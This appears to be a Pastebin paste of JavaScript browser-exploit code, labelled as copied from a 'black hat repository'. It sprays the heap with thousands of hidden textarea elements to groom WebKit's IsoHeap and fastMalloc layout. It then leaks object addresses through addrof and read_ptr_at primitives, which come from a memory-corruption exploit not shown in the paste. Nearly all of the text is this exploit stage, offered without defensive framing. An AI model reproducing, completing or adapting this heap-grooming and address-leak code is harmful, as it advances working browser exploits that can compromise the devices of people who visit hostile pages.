Advertisement
Guest User

Untitled

a guest
Dec 10th, 2020
2,884
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // code from the black hat repository
  2.  
  3. function sprayHTMLTextArea() {
  4.     textarea_div_elem = document.createElement("div");
  5.     document.body.appendChild(textarea_div_elem);
  6.     textarea_div_elem.id = "div1";
  7.     var element = document.createElement("textarea");
  8.  
  9.     /* Add a style to avoid textarea display */
  10.     element.style.cssText = 'display:block-inline;height:1px;width:1px;visibility:hidden;';
  11.  
  12.     /*
  13.      * This spray is not perfect, "element.cloneNode" will trigger a fastMalloc
  14.      * allocation of the node attributes and an IsoHeap allocation of the
  15.      * Element. The virtual page layout will look something like that:
  16.      * [IsoHeap] [fastMalloc] [IsoHeap] [fastMalloc] [IsoHeap] [...]
  17.      */
  18.     for (let i = 0; i < 0x6000; i++)
  19.         textarea_div_elem.appendChild(element.cloneNode());
  20. }
  21.  
  22. // end copy-paste
  23.  
  24. sprayHTMLTextArea();
  25.  
  26. var pr_buf = '';
  27. function buf_print(s, last)
  28. {
  29.     pr_buf += s + '\n';
  30. }
  31.  
  32. function dumpAddresses()
  33. {
  34.     for(var i = 0; i < textarea_div_elem.childNodes.length; i++)
  35.     {
  36.         var addr1 = addrof(textarea_div_elem.childNodes[i]);
  37.         var addr2 = read_ptr_at(addr1 + 0x18);
  38.         buf_print(i+" 0x"+(new Number(addr1)).toString(16)+" 0x"+(new Number(addr2)).toString(16), i == textarea_div_elem.childNodes.length - 1);
  39.     }
  40. }
  41.  
  42. dumpAddresses();
  43.  
  44. print(pr_buf);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement